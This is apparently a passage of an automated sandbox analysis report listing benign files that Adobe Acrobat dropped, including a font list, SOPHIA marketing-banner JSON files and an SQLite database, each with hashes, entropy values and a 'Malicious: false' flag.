MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7016

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.367739782144628
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTiUWUJ/GV6NGmSg1c2LjcWkHvR0YVoAvJM3g98kUwPeUkwRe9:YvXKX2sOV63T5LjIP+GMbLUkee9
MD5:	B2E88B37637FC323301772C4DA8ABA02
SHA1:	F097BB1642F50FDCCE193A0482E2E76FE84F23D6
SHA-256:	2E9DBBB8BC8CD99B157BD8447D0C1E4098BE57CFA4C7C39691A0B8AC02736D98
SHA-512:	3A0B5E0279D0822C5F29AD820E5338B1856ED1F076CB66CF0132767C467D094DE554CEC8E9890EEEFAC5CF76E0A95EEF9C18E3554171FE495799A9C63132EDFD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72b76310-ed4d-4bfd-b318-7051c0051180","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736721026788,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.3227731971662395
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTiUWUJ/GV6NGmSg1c2LjcWkHvR0YVoAvJfBoTfXpnrPeUkwRe9:YvXKX2sOV63T5LjIP+GWTfXcUkee9
MD5:	9F2410EC23DB4D1D37FDD3E912F4B68C
SHA1:	5C2CFFD2969A9737E41BC52412DB25E1FB97A9B9
SHA-256:	111C2BC67BABB755702F85C0F1931348BF811548FD4EB2B08956EDB56DA3D6AA
SHA-512:	BB3CCC80D111318F2B453273063E51B734E15F05BE1D29C6D1E5684B479919AD47C2DD25D0AC562601BDD1609C47A3D8C504F07CFA084ED6B7777618B77A0FCC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72b76310-ed4d-4bfd-b318-7051c0051180","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736721026788,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.301479411393118
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTiUWUJ/GV6NGmSg1c2LjcWkHvR0YVoAvJfBD2G6UpnrPeUkwRe9:YvXKX2sOV63T5LjIP+GR22cUkee9
MD5:	15F37F092F5F2A346FC200962F13A6C1
SHA1:	220D0E34182771DC17DFD969D76FD08585BF21CB
SHA-256:	286B5166BCD5F43A47E8975514AAC4D4E5B10EB5D5D068F80DBF67247DE3900E
SHA-512:	45691A31D0923E538EE555CD9AD35034B46BA82C38A6525FA4B85550F63DD4570DFE027FC9D53D00452387BDBBD4818751BF598E0B19BB6E6D92B906CDFAEFDA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72b76310-ed4d-4bfd-b318-7051c0051180","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736721026788,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3488953724517
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTiUWUJ/GV6NGmSg1c2LjcWkHvR0YVoAvJfPmwrPeUkwRe9:YvXKX2sOV63T5LjIP+GH56Ukee9
MD5:	AC860CA342C7856FEB861B43063D49FA
SHA1:	75DE3D810B8C6C092CD9E1911DC8EB6C2B219E70
SHA-256:	C87DC61A5AA409682C44AA0E51053F3BB783D603EEA5D3EB7681BDC3518B554F
SHA-512:	277EF601BD10D0CFF568EA5921F7AD8DAE13258A602F7A50B1B4DA2CC8EFAE6F30648E08965B2F3B12898A35FD965BC6B153E47B5E892EF439BC1DF517ECFE35
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72b76310-ed4d-4bfd-b318-7051c0051180","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736721026788,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.699820071701638
Encrypted:	false
SSDEEP:	24:Yv6Xl3T5XIjpLgE9cQx8LennAvzBvkn0RCmK8czOCCS2:YvqVXuhgy6SAFv5Ah8cv/2
MD5:	599BA57FAF9C209E249BB1662AD4752E
SHA1:	15FE3FB67743B8E8885979B5FFA4AD3E49D0FDA6
SHA-256:	FF68FF19DC6B45981CC1A28AFAA0A286A628133E5B9EF90DACB5685AC39A6BEC
SHA-512:	8DDDD4D96DBB072E0FA4973B69B609B3751F7A078C7A9DA6657530D7E666B80A5940E8A3CF9E4BA5A33D4E22C6DEF7ED47C417910377C9E2B1EAC01A32C3F858
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72b76310-ed4d-4bfd-b318-7051c0051180","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736721026788,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.321550565833781
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTiUWUJ/GV6NGmSg1c2LjcWkHvR0YVoAvJf8dPeUkwRe9:YvXKX2sOV63T5LjIP+GU8Ukee9
MD5:	661719D11E066A31114DC102BD98BAF7
SHA1:	A5B99539077F091F94B827747886709BFE8DFEF1
SHA-256:	EAC2F5D0DB88975D85E37699EAC94A69AE15DB4F083C6E17D9CE1F5AFE861EB6
SHA-512:	1A150A3B045A69097629CF70A9E323EE4BDC73E6CE5C6D4BC93A481B00C120CB6730E3437FF47203A5FBC6FA21F9A8D93642B76704226ADD8A7295E1DEF0F0C2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72b76310-ed4d-4bfd-b318-7051c0051180","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736721026788,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.312520184251191
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTiUWUJ/GV6NGmSg1c2LjcWkHvR0YVoAvJfQ1rPeUkwRe9:YvXKX2sOV63T5LjIP+GY16Ukee9
MD5:	A318F7C9ADE277A913DDFFDF5569B1C5
SHA1:	8B57F4EDF3A5321E449B60A726ECD2165D7CAFAA
SHA-256:	BDB8C53DA5E021AF067333902BDBC013203C9F95C9BD5B7462ACA1588653260F
SHA-512:	5AE276BAFBF23A1EDE5334DEBF8E19D64BB02587CD76C74078A26E239B63182B4A5506A57A0E5E9DBFC7F65A8118796D496EAACC3C2A87D980F2E9A34AEE952E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72b76310-ed4d-4bfd-b318-7051c0051180","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736721026788,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.328447070760676
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTiUWUJ/GV6NGmSg1c2LjcWkHvR0YVoAvJfFldPeUkwRe9:YvXKX2sOV63T5LjIP+Gz8Ukee9
MD5:	CEED3BA3660BCD83BC0EEF1B2E682F07
SHA1:	EE7E1CDBC36FBE2269F75A555713C44965DF1AD8
SHA-256:	62721995CCC698782F3E06902A14828CD89702490D5B16F9E16FF66EC5EAAFA5
SHA-512:	CD60D8D777FDF96D92358F691BFA546F55A057317661567DBFCDAE9BE25790323F3C9872CEBE5FCBB1CDAD1D5E82F1CEE34A5606F3A8192BEA06C2BCA8F44A77
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72b76310-ed4d-4bfd-b318-7051c0051180","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736721026788,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.347635976243562
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTiUWUJ/GV6NGmSg1c2LjcWkHvR0YVoAvJfzdPeUkwRe9:YvXKX2sOV63T5LjIP+Gb8Ukee9
MD5:	6A9E997A1D637942A08AE3528577AA5A
SHA1:	A5B2A35DBC852DA555EFDBB386338E62189836A0
SHA-256:	DB5673424E59037ED41CE58B63920909BC45708D566A6D79589ADA7D29A09C8C
SHA-512:	5B0C968E7255CF418360598462DEDE781D42B100FE9854780C8840AEA1FCFC224D01D593C88C75DDE50385FAD454EF98C94BA76738BF58BF27EB595EE73B2DEA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72b76310-ed4d-4bfd-b318-7051c0051180","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736721026788,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.328260665291008
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTiUWUJ/GV6NGmSg1c2LjcWkHvR0YVoAvJfYdPeUkwRe9:YvXKX2sOV63T5LjIP+Gg8Ukee9
MD5:	44012A254CD2FF87E30CE5D2AD57921D
SHA1:	0A7CDDCE808CFB39648A099950D3D652E8784CC5
SHA-256:	E14E55C3C46E0CF1BCB5A6592771CD149F592111DB3D9199923F2224D9EE580C
SHA-512:	8B9457F1758FF193F5916624884625A9FB19418C3F6C9C618A5F250EA366A39617EAAED00FF34BC0119B8A246DDBC7B391E66ED1A2FFDE3BAA2B0D7AED3699EA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72b76310-ed4d-4bfd-b318-7051c0051180","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736721026788,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.314808585038019
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTiUWUJ/GV6NGmSg1c2LjcWkHvR0YVoAvJf+dPeUkwRe9:YvXKX2sOV63T5LjIP+G28Ukee9
MD5:	18F9C6F60013ADDCEEF3DD697135636F
SHA1:	5676CB27065E001F4E23D6FE41C53BC9D13DB567
SHA-256:	A2DD07F37FBE3C8050B80676FC860D24C6AF8C093FD8B0D9886BEA4C6FA4EC8F
SHA-512:	C72E90C768E64051344EC0741EBB518F0C08A8F400CBF3E93C94580FDD1AB9E251E45CBC899930A42517618C5F1D923D5DDD0F1B84773BDEB8A8F57B06F5816B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72b76310-ed4d-4bfd-b318-7051c0051180","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736721026788,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.311613531588302
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTiUWUJ/GV6NGmSg1c2LjcWkHvR0YVoAvJfbPtdPeUkwRe9:YvXKX2sOV63T5LjIP+GDV8Ukee9
MD5:	4A449D817DD62468389ABDE94E4067EB
SHA1:	1D2DA168A104C286847FC65D7A0BECFA2BA13378
SHA-256:	F6125E2578521176F7170E8A210679ED65100E8C1E834634E0BAA53D35FF6E77
SHA-512:	2D8CCA648C6927D238ADA686376DA59FB42166570182AE206EAB4594000E1DF550D3808525A38D38800723DFD5F6E3CF9403AFD6FFF1130B1BDABFEDA031614A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72b76310-ed4d-4bfd-b318-7051c0051180","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736721026788,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.303429259434584
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTiUWUJ/GV6NGmSg1c2LjcWkHvR0YVoAvJf21rPeUkwRe9:YvXKX2sOV63T5LjIP+G+16Ukee9
MD5:	182356A4B844E82F0F04E19E1962025A
SHA1:	6736B1B063A1EA684A3BB78402D93601D97BEADF
SHA-256:	2870345B73A0D0415BD2A43CCE41B00F275B6CD7069F6E0C99B2BAA05FD511D1
SHA-512:	38FAA2F60A32E7EEA3E01473862F5C4FD969DEEE3D348AC3FFCCB00EB3448F1C414A58B8315CF98252B000891FF2BCB6F738222EEF89B0C90B2551A72F357A18
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72b76310-ed4d-4bfd-b318-7051c0051180","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736721026788,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.674849477638332
Encrypted:	false
SSDEEP:	24:Yv6Xl3T5XITamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS2:YvqVXMBgkDMUJUAh8cvM2
MD5:	9408A55CFA5E149157C87518F566BCC3
SHA1:	F1D18D933AA1E8A57641D17BA9235E961DAE70FA
SHA-256:	8D55F37F78DE4BFD3D2FD9FD9179CADBB511A9D11D4249EEF99C826A2902F63C
SHA-512:	94362051FD718778601AE204EF6FE7A122ABC2609D4D081A2C1544CA7005244B0295893B6B6E8FE76C0472D82EFBCD983C3D95DC3B4A4F251F2677ECEA85F4C5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72b76310-ed4d-4bfd-b318-7051c0051180","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736721026788,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.276773932917848
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTiUWUJ/GV6NGmSg1c2LjcWkHvR0YVoAvJfshHHrPeUkwRe9:YvXKX2sOV63T5LjIP+GUUUkee9
MD5:	2D5EFE623D520FEB2470069BB235E021
SHA1:	C54046366656ECCA7D23B9CD057B173F1EDB7A50
SHA-256:	15C765E3C04D81E94580240035DD829E625128287EC871FB1EC6EB8889973878
SHA-512:	276F73509A3BDCACBDB62A567C1D34A84289C32916A40F7072ABC65E8B126DB19F20CA4EA43ED0A1262C884F7B3B3D192374FA25226B22524824E18397F85BE3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72b76310-ed4d-4bfd-b318-7051c0051180","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736721026788,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.27649686348747
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTiUWUJ/GV6NGmSg1c2LjcWkHvR0YVoAvJTqgFCrPeUkwRe9:YvXKX2sOV63T5LjIP+GTq16Ukee9
MD5:	F382D6B466DD9455C548A5FE8B9B2991
SHA1:	C09393D220E0093FDD030ED1A22542903D0371A7
SHA-256:	C46C75F7A8E8A131E34B36547781D9D87D2CE81DA93F9349954A77AEA65880C1
SHA-512:	7DE17DBD78FE710535B4467737F0088545C4A363156B1C0E9E6D6B2F3A335BA9D4A83F4315DBB79C82EE28CB9D8F1470F8A9986AB1EF5876D4156295DB7F2863
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"72b76310-ed4d-4bfd-b318-7051c0051180","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736721026788,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.144631895086393
Encrypted:	false
SSDEEP:	24:Y0a0+ZEGFK6nEMHjkj0SNWziXC92ya9P2LS4ayHay9C5u64A+W4P569iBuTOG:YbK6XGFXeA9PumuxhWU49iy
MD5:	4F52EE261953E955259AC65E18779AF9
SHA1:	00388FDB4F99E5453657E6ABB563A3450B308E49
SHA-256:	F25B6F1E3556D592998468FA8FF1EAD6F978F143756FABF1E9E3AC9367BCCD02
SHA-512:	F4B5DB342319E94F2BE5CB6BC43E147C6AE0D4800AFD0EB7EB2AE20894225661255537EF2963AC75B3B1DAB1592461F7503DA8296CAB2DB26C30163C7BB97B15
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"d729b80f85652ff4a3d3a8b3104551e0","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736544612000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"eb383c82ec85ef99940ba7113e7236b2","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736544611000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"2ebbb32f9fd158772bb4cc65b54b7f9f","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736544611000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"e26bc92d8679475bc0b9625b458942d5","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736544611000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"7bae743ae3430bb54cf6890bae8ee4fa","sid":"DC_Reader_Edit_LHP_Banner"},"mimeType":"file","size":289,"ts":1736544611000},{"id":"DC_Reader_RHP_Intent_Banner","info":{"dg":"1eb8540f86437ef2b6a65c2455096cd9","sid":"DC_Reader_RHP_Intent_Banner"},"mimeType":"file

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 26, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 26
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3676037618585908
Encrypted:	false
